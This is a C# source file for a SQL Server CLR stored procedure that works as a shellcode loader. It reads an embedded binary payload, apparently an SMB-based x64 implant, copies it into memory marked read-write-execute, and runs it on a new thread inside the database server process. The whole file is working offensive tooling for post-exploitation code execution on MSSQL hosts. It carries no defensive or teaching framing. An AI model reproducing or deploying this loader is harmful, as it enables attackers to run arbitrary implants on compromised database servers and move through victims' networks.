using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
[SqlProcedure]
public static void MyProcedure()
{
var assembly = Assembly.GetExecutingAssembly();
byte[] shellcode;
// Read embedded payload
using (var rs = assembly.GetManifestResourceStream("MyProcedure.smb_x64.xthread.bin"))
{
using (var ms = new MemoryStream())
{
rs.CopyTo(ms);
shellcode = ms.ToArray();
}
}
// Allocate memory
var hMemory = VirtualAlloc(
IntPtr.Zero,
(uint)shellcode.Length,
VIRTUAL_ALLOCATION_TYPE.MEM_COMMIT | VIRTUAL_ALLOCATION_TYPE.MEM_RESERVE,
PAGE_PROTECTION_FLAGS.PAGE_EXECUTE_READWRITE);
// Copy shellcode
WriteProcessMemory(
new IntPtr(-1),
hMemory,
shellcode,
(uint)shellcode.Length,
out _);
// Create thread
var hThread = CreateThread(
IntPtr.Zero,
0,
hMemory,
IntPtr.Zero,
THREAD_CREATION_FLAGS.THREAD_CREATE_RUN_IMMEDIATELY,
out _);
CloseHandle(hThread);
}
[DllImport("KERNEL32.dll", ExactSpelling = true, SetLastError = true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
VIRTUAL_ALLOCATION_TYPE flAllocationType, PAGE_PROTECTION_FLAGS flProtect);
[DllImport("KERNEL32.dll", ExactSpelling = true, SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
[DllImport("KERNEL32.dll", ExactSpelling = true, SetLastError = true)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, THREAD_CREATION_FLAGS dwCreationFlags,
out uint lpThreadId);
[DllImport("KERNEL32.dll", ExactSpelling = true, SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
[Flags]
public enum VIRTUAL_ALLOCATION_TYPE : uint
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
}
[Flags]
public enum PAGE_PROTECTION_FLAGS : uint
{
PAGE_EXECUTE_READWRITE = 0x00000040,
}
[Flags]
public enum THREAD_CREATION_FLAGS : uint
{
THREAD_CREATE_RUN_IMMEDIATELY = 0x00000000,
}
}